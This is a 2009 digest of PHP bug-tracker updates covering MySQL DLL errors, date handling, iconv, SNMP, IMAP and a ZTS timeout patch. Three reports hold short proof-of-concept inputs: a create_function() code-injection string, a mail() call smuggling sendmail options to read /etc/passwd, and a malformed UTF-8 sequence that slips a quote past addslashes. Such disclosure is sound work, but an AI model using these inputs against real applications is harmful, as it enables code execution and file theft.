#41350 [Com]: Error in my_thread_global_end()

2009-05-11 Thread j_holyfield05 at hotmail dot com
 ID:   41350
 Comment by:   j_holyfield05 at hotmail dot com
 Reported By:  graham at directhostinguk dot com
 Status:   No Feedback
 Bug Type: MySQL related
 Operating System: *
 PHP Version:  5.2.6
 Assigned To:  scottmac
 New Comment:

This solution works perfect for me http://tinyurl.com/php-mysql-bug

PHP team should replace or update the DLL/binary in all their newer
releases thankz


Previous Comments:


[2009-03-16 16:48:58] chris at crgs dot co dot uk

Just to confirm that this is fixed in the updated libmysql.dll recently
released as part of MySQL 5.0.77.

If you have MySQL 5.0.77 installed, just replace the copy of
libmysql.dll currently provided with PHP with the version from
'C:\Program Files\MySQL\MySQL Server 5.0\bin' (or equivalent folder) and
you should be good to go.

It would be great if the PHP team could update the copy of libmysql.dll
supplied in the next release of PHP to 5.0.77 or above.

Thanks to all those who have worked to get this fixed.



[2009-03-10 00:14:52] paul at orac dot clara dot co dot uk

Libmysql.dll from Mysql 5.0.77 seems to work fine and doesn't have the
problems detailed in bug #46842.
Libmysql.dll from Mysql 5.1.32 still doesn't work.

I don't know why the PHP folks have closed #46842 as Bogus when it
quite clearly is not.



[2009-03-03 00:12:17] chaz_meister_rock at yahoo dot com

Same error in PHP 5.2.9.



[2009-02-20 03:14:23] kram0815 at gmx dot net

have this bug too on my system

uname -a = 2.6.26-1-amd64 Debian Lenny
php -v = PHP 5.2.6-1+lenny2
mysql -V = Ver 14.12 Distrib 5.0.51a

msg in /var/log/apache2/error.log = Error in my_thread_global_end(): 41
threads didn't exit



[2009-02-12 01:40:30] dbmuller at gmail dot com

I had this problem on a Windows 2003 server running PHP 5.2.5 as CGI
with hsphere.  I would copy the 5.2.1 DLL in and the error would
persist.  The fix was to delete the old DLL, refresh the page to produce
a new error and then copy up the 5.2.1 libmysql.dll.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/41350

-- 
Edit this bug report at http://bugs.php.net/?id=41350edit=1



#48232 [Opn-Bgs]: date_modify miscalculates forward from end of month

2009-05-11 Thread jani
 ID:   48232
 Updated by:   j...@php.net
 Reported By:  vqkq7ov02 at sneakemail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Date/time related
 Operating System: Linux
 PHP Version:  5.2.9
 New Comment:

See bug #46932 (strtotime() is same thing :)


Previous Comments:


[2009-05-11 07:28:34] vqkq7ov02 at sneakemail dot com

Description:

When date_modify() is given the last day of a month and asked to add
one weekday (e.g. +1 Sunday), if the last day of the month is that same
weekday, then date_modify() doesn't add a week-- it returns the same
date it was given.

This problem occurs in PHP 5.2.9.  It doesn't occur in PHP 5.2.6, which
returns the correct result.


Reproduce code:
---
?php
echo PHP Version = , phpversion(), \n;
$dt = new DateTime();
date_date_set($dt, 2009, 5, 31);
echo 'Before date_modify: ', $dt-format('l m/j/y'), \n;
$action = +1 Sunday;
date_modify($dt, $action);
echo After date_modify ($action): ,  $dt-format('l m/j/y') , \n,
Should be Sunday 6/7/09\n;
?


Expected result:

PHP Version = 5.2.6-3ubuntu4.1
Before date_modify: Sunday 05/31/09
After date_modify (+1 Sunday): Sunday 06/7/09
Should be Sunday 6/7/09


Actual result:
--
PHP Version = 5.2.9-2
Before date_modify: Sunday 05/31/09
After date_modify (+1 Sunday): Sunday 05/31/09
Should be Sunday 6/7/09





-- 
Edit this bug report at http://bugs.php.net/?id=48232edit=1



#48231 [Opn-WFx]: create_function() command injection vulnerability

2009-05-11 Thread jani
 ID:   48231
 Updated by:   j...@php.net
 Reported By:  root at 80sec dot com
-Status:   Open
+Status:   Wont fix
 Bug Type: Scripting Engine problem
 Operating System: *
 PHP Version:  5.*, 6CVS (2009-05-11)
 New Comment:

Yea. Right. And eval() is also very secure when passed unfiltered 
input..


Previous Comments:


[2009-05-11 02:53:18] root at 80sec dot com

Description:

there is a commond injection in this function,you can EXECUTE your php
code directly but not CREATE a lambda-style function.It is very useful
when sometimes you can create a function but cann¡¯t call your
function.



Reproduce code:
---
?php
$newfunc = create_function('', '};phpinfo();//');
? 

Expected result:

phpinfo executes runtime,needn't call newfunc.

Actual result:
--
phpinfo executes runtime,needn't call newfunc.





-- 
Edit this bug report at http://bugs.php.net/?id=48231edit=1



#48230 [Opn-Bgs]: xml_utf8_decode incorrectly decode

2009-05-11 Thread jani
 ID:   48230
 Updated by:   j...@php.net
 Reported By:  root at 80sec dot com
-Status:   Open
+Status:   Bogus
 Bug Type: XML related
 Operating System: Linux/win
 PHP Version:  5.2.9
 New Comment:

RTFM:
This function decodes data , assumed to be UTF-8 encoded, to
ISO-8859-
1.


Previous Comments:


[2009-05-11 02:41:26] root at 80sec dot com

Description:

xml_utf8_decode function incorrectly decode.

Reproduce code:
---
?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode($ill);
echo htmlspecialchars ($ill,ENT_QUOTES,utf-8 );
?

Expected result:

it will output a ' incorrectly.

Actual result:
--
it will output a ' incorrectly.





-- 
Edit this bug report at http://bugs.php.net/?id=48230edit=1



#48229 [Opn-Bgs]: mail() function open_basedir bypass

2009-05-11 Thread jani
 ID:   48229
 Updated by:   j...@php.net
 Reported By:  root at 80sec dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Safe Mode/open_basedir
 Operating System: linux
 PHP Version:  5.2.9
 New Comment:

Enable safe-mode.


Previous Comments:


[2009-05-11 02:35:50] root at 80sec dot com

Description:

The mail function may bypass open_basedir or read/write arbitrary
 file.

Reproduce code:
---
?php
$to = 'jian...@80sec.com'.str_repeat(x,1);
$subject = 'the subject'.str_repeat(x,10);
$message = 'hello'.str_repeat(x,10);
mail($to, $subject, $message, $headers,-v -bt -X /tmp/80sec -d13 -C
/etc/passwd);
?

Expected result:

we can get the contents of /etc/passwd in /tmp/80sec.

Actual result:
--
we can get the contents of /etc/passwd in /tmp/80sec.





-- 
Edit this bug report at http://bugs.php.net/?id=48229edit=1



#48135 [Bgs]: Isset doesn't function as expected

2009-05-11 Thread wizanda at yahoo dot co dot uk
 ID:   48135
 User updated by:  wizanda at yahoo dot co dot uk
 Reported By:  wizanda at yahoo dot co dot uk
 Status:   Bogus
 Bug Type: Feature/Change Request
 Operating System: all
 PHP Version:  5.2.9
 New Comment:

Since this is a major issue, still waiting for some response, though
I've now changed most static questions to be returned before it
overfills, there are numerous PHP examples and projects all not knowing
this.
Please test it more carefully as it basically means PHP is a memory
hog, when it doesn't need to be.


Previous Comments:


[2009-05-04 12:23:29] wizanda at yahoo dot co dot uk

There are two scripts there...
The first has shown multiple copies on a fresh install of WAMP, and on
my webserver.
This same principle is similar to a singleton pattern and can be also
tested in these. Even on a single variable with no array, if multiple
copies of a class instance are called; When we var_dump() the static
variable, it has multiples of the class object, and thus its not
single
To make it single, as a solution to the static variables holding to
much data, the second script shows that if it's set we return it;
Thus only allowing the one copy of the class object, within the static
variable.



[2009-05-04 11:28:06] scott...@php.net

I can't reproduce this, the output I get is as follows:

scott-mbp:tmp scott$ /usr/bin/php test.php
countbr /array(1) {
  [Funky]=
  object(Funky)#1 (0) {
  }
}




[2009-05-04 11:12:27] wizanda at yahoo dot co dot uk

Found that if you return it first when it's set, it won't multiple fill
the static var, yet this is also the same as a singleton pattern, so it
looks as if those are also mass storing information.
?php
class Funky{}
class Monkey{}
Class etc{}
function collectClass($name){static $handlers;
if(isset($handlers[$name])){$handle = $handlers[$name];
return $handle;}else{$handlers[$name] = new $name();
echo 'countbr /';}
var_dump($handlers);
$handle = $handlers[$name];
return $handle;}
collectClass('Funky');
collectClass('Funky');
collectClass('Funky');
?



[2009-05-04 09:45:34] wizanda at yahoo dot co dot uk

Thank you for the reply, here is a better example and a rephrase of the
problem...
?php
class Funky{}
class Monkey{}
Class etc{}
function collectClass($name){static $handlers;
if(!isset($handlers[$name])){$handlers[$name] = new $name();
echo 'countbr /';}
var_dump($handlers);
$handle = $handlers[$name];
return $handle;}
collectClass('Funky');
collectClass('Funky');
collectClass('Funky');
?
On doing this i realized its not so much isset is broken sorry, as if
we test the occurrences of the count, we find it runs once...Yet if we
var_dump() the static var, it has 3 copies of something that it has only
collected once and so shouldn't it only be stored once? Else its
amassing tons of data in a large system?



[2009-05-04 00:42:28] scott...@php.net

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.

We need a self contained script that we can run, though it sounds like
you just need.

!isset($handler, $handler[$name])

To check both the array and the key.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48135

-- 
Edit this bug report at http://bugs.php.net/?id=48135edit=1



#48167 [Tbd]: undefined function checkdnsrr()

2009-05-11 Thread kalle
 ID:   48167
 Updated by:   ka...@php.net
 Reported By:  frew dot robert at gmail dot com
 Status:   To be documented
 Bug Type: *Network Functions
 Operating System: Linux
 PHP Version:  5.3.0RC1
 Assigned To:  fa
 New Comment:

Alot of functions may not be available if the configure script does not
find them on Unix, wheres on Windows they are either available or not,
not *maybe*. We really need to list these in the manual


Previous Comments:


[2009-05-06 21:19:11] frew dot robert at gmail dot com

Recompiled PHP and the problem went away.



[2009-05-06 19:34:39] paj...@php.net

Yes, set it as to be documented.

Please not that as in 5.3, it is always available on windows.



[2009-05-06 19:30:46] f...@php.net

That's not mentioned in the documentation, shouldn't this be converted
to a documentation bug then?



[2009-05-06 16:41:58] scott...@php.net

This function is only available if the configure script can find bind
on your system.

If you look at your config.log you'll probably find that its missing.



[2009-05-06 16:32:48] frew dot robert at gmail dot com

Description:

When using function checkdnsrr(), I get a Fatal error: Call to
undefined function checkdnsrr() in test.php.

You can view this error live at http://www.mxxm.com/test.php.



Reproduce code:
---
?
$ip = $_SERVER['REMOTE_ADDR'];
if (checkdnsrr($ip, MX)) {
echo 'Yes';
} else {
echo 'No';
}
?

Expected result:

True or false.

Actual result:
--
Fatal error: Call to undefined function checkdnsrr()





-- 
Edit this bug report at http://bugs.php.net/?id=48167edit=1



#31618 [Asn-Sus]: is_readable() results based on ownership of calling script, not file

2009-05-11 Thread tony2001
 ID:   31618
 Updated by:   tony2...@php.net
 Reported By:  kpederson at mail dot ewu dot edu
-Status:   Assigned
+Status:   Suspended
 Bug Type: Feature/Change Request
 Operating System: redhat enterprise
 PHP Version:  5CVS-2005-03-14
 Assigned To:  tony2001


Previous Comments:


[2007-02-25 19:10:06] nobody at bugs dot php dot net

Until an is_includible() is added, it's possible to check a file exists
using realpath() even with safe mode enabled which allows Smarty to at
least see and include() its own plugins.



[2006-06-19 21:03:34] kpederson at mail dot ewu dot edu

open_basedir does not do what I need it to do.  The 
functionality and setup that I need:

1) I have many users per host, each with their own group 
hierarchy.
2) Each user cannot access any other users data, unless 
they are in the same group.  Thus, I have user and group 
permissions that need to be managed.
3) I have common scripts that everyone needs to access 
(smarty templates and wrappers).

Because of #1 and #2, I need safe mode with GID checking. 
Because of #3, I need to have a directory that *everyone* 
can include and read from -- safe_mode_include_dir is not 
sufficient because it doesn't allow the users to read the 
templates, only include them and smarty (smarty.php.net) 
needs the ability to read them in order for them to work.

open_basedir is great for restricting reads between hosts. 
I could set it to /path/to/host/;/path/to/templates/ and 
then users would only be able to access files within their 
host and the templates, but it still doesn't solve the 
problem at hand.



[2006-06-19 20:07:02] yanstiac at yahoo dot com

Just need to read a bit =) 
Nstiac

http://www.php.net/manual/en/features.safe-mode.php#ini.sect.safe-mode



[2006-06-19 20:02:59] yanstiac at yahoo dot com

Guys... that is what open_basedir is actually for. 
Cheers,
Nstiac



[2006-05-29 06:45:23] parktrip at gmail dot com

Could someone tell me what will happened to this report ? is this
supposed to be solved in a future version of PHP ? I have the same
problem with smarty in a commercial application. Is there another way to
make it work with safe_mode on ?

Thanks a lot.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/31618

-- 
Edit this bug report at http://bugs.php.net/?id=31618edit=1



#48228 [Opn-Fbk]: Possible memory corruption

2009-05-11 Thread jani
 ID:   48228
 Updated by:   j...@php.net
 Reported By:  iddekingej at lycos dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  5.3.0RC2
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.3-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/




Previous Comments:


[2009-05-10 22:47:19] iddekingej at lycos dot com

Description:

The included example code was made for finding the reason
php5.3RC2/apache2 crashed with some php website (the websie is not
publicly available). The script didn't crash apache but failed
differently.
The script should fail with a 'undefined variable', it does but it also
displays the message Fatal error: Allowed memory size of 536870912
bytes exhausted (tried to allocate 140498868988960 bytes) in Unknown on
line 0. (The large number is probably a memory location).

This error only happens in the following situation:
* as a web page (CLI works OK)
* restart apache
* Load the page and the memory exhausted message is displayed.
* Reload the page and no memory exhausted message

Software/machine:
* 64Bit amd
* Kubuntu  8.10
* Apache 2.2.9
* PHP(5.3RC2) compiled with : 
'./configure' '--enable-zip' '--enable-soap' '--enable-sockets'
'--with-gd' '--with-pgsql' '--with-apxs2=/usr/bin/apxs2'
'--with-gettext' '--enable-cli' '--enable-mbstring'





Reproduce code:
---
?
function ex_handler($p_exception)
{
? Error:i?=$p_exception-getMessage()?/ibr/br/?
}

function
er_handler($p_errorno,$p_errstr,$p_errfile,$p_errline,$p_context)
{ 
   $l_exception=new Exception(Error $p_errorno at $p_errline in
'$p_errfile':$p_errstr); 
   throw $l_exception;
}

  set_Exception_Handler(ex_handler);
 
set_Error_Handler(er_handler,E_STRICT|E_WARNING|E_ALL|E_ERROR|E_NOTICE);
  class aa 
  {
function check($p_a,$p_b,$p_c)
{
  echo $p_a;
}

function dosome($p_b,$p_d,$p_e,$p_f,$p_g,$p_h)
{
   return 
$this-check(3,3,array(xx=$p_b,xzx=$p_d,xx=$p_e,yy=$p_c));
}
 }
  $l_aa=new aa();
 
$l_aa-dosome('2',3,4,5,'sddd','ddd');
?

Expected result:

* Undefined variable 


Actual result:
--
* Undefined variable 
* Fatal error: Allowed memory size of 536870912 bytes exhausted (tried
to allocate 140498868988960 bytes) in Unknown on line 0. 





-- 
Edit this bug report at http://bugs.php.net/?id=48228edit=1



#48201 [Opn]: wrong behaviour and crash with imap_mail_compose()

2009-05-11 Thread jani
 ID:   48201
 Updated by:   j...@php.net
 Reported By:  carsten_sttgt at gmx dot de
 Status:   Open
 Bug Type: IMAP related
 Operating System: *
 PHP Version:  5.*, 6CVS (2009-05-09)
 New Comment:

Patches are welcome. :)


Previous Comments:


[2009-05-11 07:21:31] carsten_sttgt at gmx dot de

 This bug might be actually bug in c-client though..

I guess it's more that PHP is just using rfc822_encode_body_7bit() to
the whole message (topbod is including all bodies from each message
part), instead of process each body part separately, according to the
encoding which is set.  

rfc822_encode_body_7bit is forcing a 7bit transfer, and so ENC8BIT must
switch to quoted-printable.



[2009-05-10 16:40:02] j...@php.net

This bug might be actually bug in c-client though..



[2009-05-10 16:39:46] j...@php.net

Thanks for that. Just want to get the version info right. Just FYI, 
whenever you know that a bug exists in certain branch, please update
the 
version also. And HEAD is not that necessary at the moment, we can be 
quite sure it exists there if it exists in PHP_5_3. :) I updated the 
versions now. Please do same in other reports from now on. 



[2009-05-10 07:43:01] carsten_sttgt at gmx dot de

 Please try using this CVS snapshot:

I have test the above with:
Version: 5.3.0RC3-dev Thu, 07 May 2009 13:08:08 +
Version: 5.2.10-dev Thu, 07 May 2009 11:42:06 +0100
(the latest binary snapshots which are available for VC6 x86 Thread
Safe)

(and my normal PHP 5.2.9 VC6 x86 Thread Safe)

Can't test with:
Version: 6.0.0-dev Thu, 07 May 2009 11:30:12 +
because php_imap.dll is missing in the zip.



[2009-05-09 11:51:12] carsten_sttgt at gmx dot de

Description:

Hello,

from my understanding, and if I read RFC2045-sec6.2,
imap_mail_compose() is working in a wrong way. From RFC2045:
- With binary, 8bit and 7bit no transforming is done.

- With quoted-printable and base64, the data is transformed
  to 7bit, according to the selected encoding type.

The behavior from imap_mail_compose():
- with ENC7BIT no Content-Transfer-Encoding header is set
 (ok, that's the same. maybe correct)

- with ENC8BIT, the Content-Transfer-Encoding changes to
  quoted-printable and the data is transfomed (wrong)

- with ENCBINARY, the Content-Transfer-Encoding changes to
  base64 and the data is transfomed (wrong)

- with ENCBASE64, the Content-Transfer-Encoding is base64
  and the data is transfomed (correct)

- with ENCQUOTEDPRINTABLE, the Content-Transfer-Encoding is
  quoted-printable and the data is transfomed (correct)

- ENCOTHER is imho not really useful (especially if I can't
  set the name (foo) in x-foo).

Then I've tried to set the value for the Content-Transfer-Encoding
header on my own:
- with binary, no Content-Transfer-Encoding header is set

- with 8bit (or 7bit), I have a segmentation fault (PHP crashes).

Regards,
Carsten



Reproduce code:
---
?php
$data8bit = 'a german umlaut ä.';
$data7bit = 'just a text in us-ascii.';
$body = array();

$i = 0;
$body[++$i] = array(
'type'= TYPEMULTIPART,
'subtype' = 'mixed'
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'us-ascii',
'encoding' = ENC7BIT,
'contents.data'= $data7bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENC8BIT,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' =  ENCBINARY,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENCBASE64,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = ENCQUOTEDPRINTABLE ,
'contents.data'= $data8bit
);

$body[++$i] = array(
'type' = TYPETEXT,
'charset'  = 'iso-8859-1',
'encoding' = 'binary',
'contents.data'= $data8bit
);

//$body[++$i] = array(
//'type' = TYPETEXT,
//'charset'  = 'iso-8859-1',
//'encoding' = '8bit' ,
//'contents.data'= $data8bit
//);

echo imap_mail_compose(array(), $body);
?


Expected result:

MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY=62-22384-1241869364=:9856

--62-22384-1241869364=:9856
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-Transfer-Encoding: 7BIT

just a text in us-ascii.

#47507 [Opn-Bgs]: PHP Notice: iconv(): Wrong charset

2009-05-11 Thread jani
 ID:   47507
 Updated by:   j...@php.net
 Reported By:  aboh24 at gmx dot de
-Status:   Open
+Status:   Bogus
 Bug Type: ICONV related
 Operating System: Solaris 10 / 64-bit
 PHP Version:  5.2.9
 Assigned To:  fb-req-jani
 New Comment:

As it was basically just user error - bogus.


Previous Comments:


[2009-05-11 06:57:28] aboh24 at gmx dot de

Changing --with-iconv-dir=$PX  to --with-iconv=$PX fixes the problem.
Case can be closed. Thank your very much for your help. Greetings
Andreas



[2009-05-07 16:08:01] j...@php.net

You should actually read the help not grep for iconv in it and you'd 
know what the difference is. Now, did you try it or not?



[2009-05-07 06:56:45] aboh24 at gmx dot de

Sure that I need to use --with-iconv-dir=$PX instead  --with-iconv=$PX?
Sorry if I ask because the help message of the configure file display
vice versa.


src/php5.2-200904280430 $ ./configure --help | grep iconv
  --without-iconv[=DIR]   Exclude iconv support
  --with-iconv-dir=DIR  XMLRPC-EPI: iconv dir for XMLRPC-EPI

However I will test your suggestion soon.

---

Is there any more infoamtion I can provide to support you? 


---

BTW: What does reason: ICONV_IMPL != libiconv mean.



[2009-05-06 20:46:43] j...@php.net

I missed this earlier, you're using wrong configure options.
Just change the --with-iconv-dir=$PX to --with-iconv=$PX and try again.

Note: Do this with clean build dir.

Also, do not paste more test result outputs here, they're no value for

us. Just telling which tests fail is more useful. 




[2009-02-26 10:29:13] aboh24 at gmx dot de

This could maybe useful:

user# /usr/lib/iconv/UTF-8%ISO8859-1*
/usr/lib/iconv/UTF-8%ISO8859-11.so


it is mentioned in the truss output of the test php program:

access(/usr/lib/iconv/geniconvtbl/binarytables/UTF-8%ISO-8859-1//TRANSLIT.bt,
R_OK) Err#2 ENOENT
access(/usr/lib/iconv/UTF-8%ISO-8859-1//TRANSLIT.so, R_OK) Err#2
ENOENT
open(/usr/lib/iconv/alias, O_RDONLY)  = 3
fstat64(3, 0xFFBFEE60)  = 0
mmap(0x, 6311, PROT_READ, MAP_SHARED, 3, 0) = 0xFF3A
close(3)= 0
munmap(0xFF3A, 6311)= 0
access(/usr/lib/iconv/geniconvtbl/binarytables/UTF-8%ISO-8859-1//TRANSLIT.bt,
R_OK) Err#2 ENOENT
access(/usr/lib/iconv/UTF-8%ISO-8859-1//TRANSLIT.so, R_OK) Err#2
ENOENT
PHP Notice:  iconv(): Wrong charset, conversion from `UTF-8' to
`ISO-8859-1//TRANSLIT' is not allowed in /test.php on line 13write(2, 
P H P   N o t i c e :  .., 151)  = 151

write(2, \n, 1)



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/47507

-- 
Edit this bug report at http://bugs.php.net/?id=47507edit=1



#16820 [Opn]: hangs in multithreaded environment (ZTS)

2009-05-11 Thread wmeler at wp-sa dot pl
 ID:   16820
 User updated by:  wmeler at wp-sa dot pl
 Reported By:  wmeler at wp-sa dot pl
 Status:   Open
 Bug Type: Scripting Engine problem
 Operating System: * (ZTS only)
 PHP Version:  5.*, 6, 7, 8..
 New Comment:

Following patch solves the problem.

diff -urN php-5.3.0RC1/Zend/zend_config.h
php-5.3.0RC1/Zend/zend_config.h
--- php-5.3.0RC1/Zend/zend_config.h 1970-01-01 01:00:00.0
+0100
+++ php-5.3.0RC1/Zend/zend_config.h 2009-05-11 11:40:05.408398000
+0200
@@ -0,0 +1,4 @@
+#include ../main/php_config.h
+#if defined(APACHE)  defined(PHP_API_VERSION)
+#undef HAVE_DLFCN_H
+#endif
diff -urN php-5.3.0RC1/Zend/zend_execute_API.c
php-5.3.0RC1/Zend/zend_execute_API.c
--- php-5.3.0RC1/Zend/zend_execute_API.c2009-03-19 19:34:16.0
+0100
+++ php-5.3.0RC1/Zend/zend_execute_API.c2009-05-11 11:01:28.663182000
+0200
@@ -185,7 +185,7 @@
zend_objects_store_init(EG(objects_store), 1024);
 
EG(full_tables_cleanup) = 0;
-#ifdef ZEND_WIN32
+#if defined(ZEND_WIN32) || defined(ZTS)
EG(timed_out) = 0;
 #endif
 
@@ -1280,6 +1280,15 @@
 }
 /* }}} */
 
+static void zend_timeout_signal_proc (int dummy) {
+   TSRMLS_FETCH();
+#ifdef ZTS
+   EG(timed_out) = 1;
+#else 
+   zend_timeout(0);
+#endif
+}
+
 #ifdef ZEND_WIN32
 static LRESULT CALLBACK zend_timeout_WndProc(HWND hWnd, UINT message,
WPARAM wParam, LPARAM lParam) /* {{{ */
 {
@@ -1424,7 +1433,7 @@
setitimer(ITIMER_REAL, t_r, NULL);
}
if(reset_signals) {
-   signal(SIGALRM, zend_timeout);
+   signal(SIGALRM, zend_timeout_signal_proc`);
sigemptyset(sigset);
sigaddset(sigset, SIGALRM);
}
@@ -1432,7 +1441,7 @@
setitimer(ITIMER_PROF, t_r, NULL);
}
if(reset_signals) {
-   signal(SIGPROF, zend_timeout);
+   signal(SIGPROF, zend_timeout_signal_proc);
sigemptyset(sigset);
sigaddset(sigset, SIGPROF);
}
diff -urN php-5.3.0RC1/Zend/zend_globals.h
php-5.3.0RC1/Zend/zend_globals.h
--- php-5.3.0RC1/Zend/zend_globals.h2009-03-18 11:18:09.0
+0100
+++ php-5.3.0RC1/Zend/zend_globals.h2009-05-11 10:50:10.810172000
+0200
@@ -213,8 +213,10 @@
/* for extended information support */
zend_bool no_extensions;
 
-#ifdef ZEND_WIN32
+#if defined(ZEND_WIN32)||defined(ZTS)
zend_bool timed_out;
+#endif
+#ifdef ZEND_WIN32
OSVERSIONINFOEX windows_version_info;
 #endif
 
diff -urN php-5.3.0RC1/Zend/zend_vm_execute.h
php-5.3.0RC1/Zend/zend_vm_execute.h
--- php-5.3.0RC1/Zend/zend_vm_execute.h 2009-03-18 19:49:27.0
+0100
+++ php-5.3.0RC1/Zend/zend_vm_execute.h 2009-05-11 10:48:32.487352000
+0200
@@ -95,7 +95,7 @@

while (1) {
int ret;
-#ifdef ZEND_WIN32
+#if defined(ZEND_WIN32) || defined(ZTS)
if (EG(timed_out)) {
zend_timeout(0);
}
diff -urN php-5.3.0RC1/Zend/zend_vm_execute.skl
php-5.3.0RC1/Zend/zend_vm_execute.skl
--- php-5.3.0RC1/Zend/zend_vm_execute.skl   2008-06-11 15:18:41.0
+0200
+++ php-5.3.0RC1/Zend/zend_vm_execute.skl   2009-05-11 10:48:59.796813000
+0200
@@ -61,7 +61,7 @@

while (1) {
 {%ZEND_VM_CONTINUE_LABEL%}
-#ifdef ZEND_WIN32
+#if defined(ZEND_WIN32) || defined(ZTS)
if (EG(timed_out)) {
zend_timeout(0);
}


Previous Comments:


[2009-03-11 09:14:58] wmeler at wp-sa dot pl

What should I say to make you stop using longjmp family calls in signal
handler? 

IT IS NOT THREAD SAFE !!!

You probably can reproduce it with:

./configure --enable-maintainer-zts; make; sapi/cli/php ../aaa.php

Fatal error: Maximum execution time of 1 second exceeded in
/root/aaa.php on line 7
6504146zend_mm_heap corrupted

aaa.php is a script posted 21 Jul 2003 2:07am UTC.



[2009-03-10 15:38:56] ka...@php.net

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/

Can you try a recent snapshot? I cannot reproduce this under CLI on
Ubuntu (5.3.0b1) or Windows (5.2.8) with ZTS



[2004-01-27 03:33:31] wmeler at wp-sa dot pl

Zeev corrected #21513. It won't help.
As long as zend_timeout calls longjmp (through zend_error, php_error_cb
and zend_bailout) shutdown functions can get memory, locks - any objects
in undefined state.
2 years - no change ...



[2003-08-13 21:43:09] sni...@php.net

I could finally 

#48213 [Bgs]: snmpapp.conf is broken and php cant load module

2009-05-11 Thread andywolk at gmail dot com
 ID:   48213
 User updated by:  andywolk at gmail dot com
 Reported By:  andywolk at gmail dot com
 Status:   Bogus
 Bug Type: SNMP related
 Operating System: Windows 2003 Server
 PHP Version:  5.2.9
 New Comment:

My PHP works under IIS as ISAPI extention.
A few scripts are run under php-cgi.exe
php_snmp.dll is set in php.ini

Sometimes, when a script calls snmp function,
c:\usr\SNMP\PERSIST\snmpapp.conf breaks. After that IIS cannot run
scripts. php-cgi.exe warn me simething like cannot load module and
cannot run scripts too. All I can do is deleting snmpapp.conf. Next time
PHP forks fine until new problem with this file.

Jani, are you sure about your first post?


Previous Comments:


[2009-05-09 20:38:55] j...@php.net

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.





[2009-05-09 20:25:03] andywolk at gmail dot com

Description:

Normal file:
cut here-
#
# net-snmp (or ucd-snmp) persistent data file.
#
# DO NOT STORE CONFIGURATION ENTRIES HERE.
# Please save normal configuration tokens for snmpapp in
SNMPCONFPATH/snmpapp.conf.
# Only createUser tokens should be placed here by snmpapp
administrators.
#

engineBoots 28
oldEngineID 0x87e580ec2c2de4054a
cut here-
Bad file:
cut here-
#
# net-snmp (or ucd-snmp) persistent data file.
#
# DO NOT STORE CONFIGURATION ENTRIES HERE.
# Please save normal configuration tokens for snmpapp in
SNMPCONFPATH/snmpapp.conf.
# Only createUser tokens should be placed here by snmpapp
administrators.
#

#
# net-snmp (or ucd-snmp) persistent data file.
#
# DO NOT STORE CONFIGURATION ENTRIES HERE.
# Please save normal configuration tokens for snmpapp in
SNMPCONFPATH/snmpapp.conf.
# Only createUser tokens should be placed here by snmpapp
administrators.
#

engineBoots 18
engineBoots 18
engineBoots 18
7e580ec2c2de4054a
oldEngineID 0x87e580ec2c2de4054a
oldEngineID 0x87e580ec2c2de4054a
oldEngineID 0x87e580ec2c2de4054a
cut here-

Reproduce code:
---
File is broken when internet losts. I think it is dns+snmp problem.
Probably file is broken when no dns respond.






-- 
Edit this bug report at http://bugs.php.net/?id=48213edit=1



#48204 [Asn-Csd]: xmlwriter_open_uri() accepts too long path

2009-05-11 Thread iliaa
 ID:   48204
 Updated by:   il...@php.net
 Reported By:  koenk82 at gmail dot com
-Status:   Assigned
+Status:   Closed
 Bug Type: XML Writer
 Operating System: *
 PHP Version:  5.*, 6CVS (2009-05-09)
 Assigned To:  pajoye
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2009-05-09 13:47:31] koenk82 at gmail dot com

Description:

When passing a path longer than PHP_MAXPATHLEN to xmlwriter_open_uri()
it doesn't throw an error/warning.

Reproduce code:
---
?php 
$path = str_repeat('a', PHP_MAXPATHLEN + 1);
var_dump(xmlwriter_open_uri('file:///' . $path));
?






-- 
Edit this bug report at http://bugs.php.net/?id=48204edit=1



#48230 [Bgs]: xml_utf8_decode incorrectly decode

2009-05-11 Thread root at 80sec dot com
 ID:   48230
 User updated by:  root at 80sec dot com
 Reported By:  root at 80sec dot com
 Status:   Bogus
 Bug Type: XML related
 Operating System: Linux/win
 PHP Version:  5.2.9
 New Comment:

chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7)

is not a valid utf8 data.


Previous Comments:


[2009-05-11 09:27:12] j...@php.net

RTFM:
